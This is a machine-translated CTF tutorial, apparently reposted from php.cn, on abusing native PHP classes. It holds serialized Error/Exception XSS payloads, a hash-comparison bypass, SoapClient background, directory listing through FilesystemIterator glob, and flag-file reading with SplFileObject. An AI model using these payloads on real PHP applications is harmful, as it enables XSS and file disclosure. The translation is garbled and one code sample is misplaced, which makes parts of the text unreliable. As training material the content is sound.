Zusammenfassende gemeinsame Nutzung nativer PHP-Klassen

WBOY
Freigeben: 2023-04-11 09:56:01
nach vorne
3697 Leute haben es durchsucht

Dieser Artikel vermittelt Ihnen relevantes Wissen über PHP und stellt hauptsächlich die relevanten Inhalte zu nativen Klassen vor. Ich hoffe, dass er für alle hilfreich ist.

Zusammenfassende gemeinsame Nutzung nativer PHP-Klassen

Dieses Mal ist HEctf eine native Frage mit nur drei Codezeilen. Tatsächlich ist es in CTF umso schwieriger, je kürzer der Code ist.

Veröffentlichen Sie zuerst ein Skript, das in PHP integrierte Klassen durchläuft

 <?php $classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }
    
}
Nach dem Login kopieren

Das Ergebnis:

Zusammenfassende gemeinsame Nutzung nativer PHP-Klassen

Um es klarzustellen:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo
Nach dem Login kopieren

Wahrscheinlich sind dies die Klassen, aber die folgenden Kategorien werden häufig in CTF-Wettbewerben verwendet

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

Die integrierte Klasse „Error/Exception“ für XSS

error xss

__toString-Methode gibt die Zeichenfolgenform des Fehlers oder der Ausnahme zurück, die die enthält Parameter Wir geben ein: Wenn wir eine Zeichenfolge aus XSS-Code erstellen und diese mit Echo-Rendering kombinieren, wird die reflektierte XSS-Sicherheitsanfälligkeit ausgelöst

Exception xss

Exception

ist die Basisklasse für alle Ausnahmen auf Benutzerebene. (PHP 5, 7, 8) Die Pop-Struktur von

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;
Nach dem Login kopieren

und Fehler scheint dieselbe zu sein (Ausnahme gilt für PHP5 und 7, Fehler gilt nur für PHP7), ersetzen Sie einfach Fehler durch Ausnahme. Das Fenster erscheint immer noch erfolgreichZusammenfassende gemeinsame Nutzung nativer PHP-Klassen

Fehler/Ausnahme Integrierte Klassen umgehen den Hash-VergleichDurch die Erstellung dieser beiden Klassen können Sie die Funktionen md5() und sha1() umgehen. Sowohl Fehler als auch Ausnahme verfügen über eine wichtige Methode: _tostring, die zum Konvertieren von Ausnahmeobjekten in Zeichenfolgen verwendet wird.

In ähnlicher Weise wird die __tostring-Methode automatisch aufgerufen, wenn die Funktionen md5() und sha1() Objekte verarbeiten.

<?php $a = new Error("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
Nach dem Login kopieren

Ergebnisse ausgebenZusammenfassende gemeinsame Nutzung nativer PHP-Klassen

Es ist ersichtlich, dass die Parameter nach der Nutzlast keinen Einfluss auf die Ausgabeergebnisse haben. Dadurch kann die Hash-Funktion umgangen werden.

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
Nach dem Login kopieren

soapclient

soap-Definition

Zusammenfassende gemeinsame Nutzung nativer PHP-KlassenEinfache Bedeutung des Objektzugriffsprotokolls

Der Grund, warum es hier als einfach bezeichnet wird, liegt darin, dass es auf zwei Protokollen basiert, die weit verbreitet sind: HTTP und XML, also das Die Industrie nennt dies: „Es ist die erste Technologie, die keine neue Technologie erfunden hat.“ Sie wird als Objekt bezeichnet, da der Dienst, auf den zugegriffen wird, als Objekt bezeichnet wird und Aufrufverhalten werden diese Eigenschaften und Verhaltensweisen durch WSDL beschrieben. Wenn Sie es im Sinne von „Simple Object Access Protocol“ verstehen, ist es einfacher als „Simple Object Access Protocol“. Zusammenfassende gemeinsame Nutzung nativer PHP-Klassen

Die in PHP integrierte Klasse SoapClient ist eine Klasse, die speziell für den Zugriff auf Webdienste verwendet wird. Sie kann eine Möglichkeit bieten, auf das Internet zuzugreifen Dienste basierend auf dem SOAP-Protokoll.

Der Konstruktor dieser Klasse lautet wie folgt:

<?php $a = new Exception("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
?>
Nach dem Login kopieren

Der erste Parameter wird verwendet, um anzugeben, ob es sich um den WSDL-Modus handelt. Wenn der Wert auf Null gesetzt wird, bedeutet dies, dass es sich um einen Nicht-WSDL-Modus handelt.

Der zweite Parameter ist ein Array. Im WSDL-Modus ist dieser Parameter optional; im Nicht-WSDL-Modus müssen Sie die Standort- und URI-Optionen festlegen, wobei Standort die URL des SOAP-Servers ist, an den die Anfrage gerichtet ist gesendet werden. Und uri ist der Ziel-Namespace des SOAP-Dienstes.

...

Ausgabe Bezeichnung Der erste sortierte Dateiname im Verzeichnis.

    Verwenden Sie die __toString-Methode dieser integrierten Klasse in Kombination mit dem Glob- oder Dateiprotokoll, um eine Verzeichnisdurchquerung zu erreichen
  • Noch ein Schrägstrich, das Verzeichnis geht einen Schritt weiter.
  • FilesystemIterator-Klasse

Die FilesystemIterator-Klasse ist identisch mit der DirectoryIterator-Klasse und bietet eine einfache Schnittstelle zum Anzeigen des Inhalts eines Dateisystemverzeichnisses. Der Konstruktor dieser Klasse erstellt einen Iterator des angegebenen Verzeichnisses.

Die Verwendungsmethode dieser Klasse ist grundsätzlich dieselbe wie die der DirectoryIterator-Klasse:
<?php $a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
Nach dem Login kopieren

Zusammenfassende gemeinsame Nutzung nativer PHP-Klassen

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
echo $a;
Nach dem Login kopieren

Zusammenfassende gemeinsame Nutzung nativer PHP-Klassen输出多行

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
foreach($a as $f){
    echo($f);
}
Nach dem Login kopieren

Zusammenfassende gemeinsame Nutzung nativer PHP-Klassen

推荐学习:《PHP视频教程

Das obige ist der detaillierte Inhalt vonZusammenfassende gemeinsame Nutzung nativer PHP-Klassen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
php
Quelle:juejin.im
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage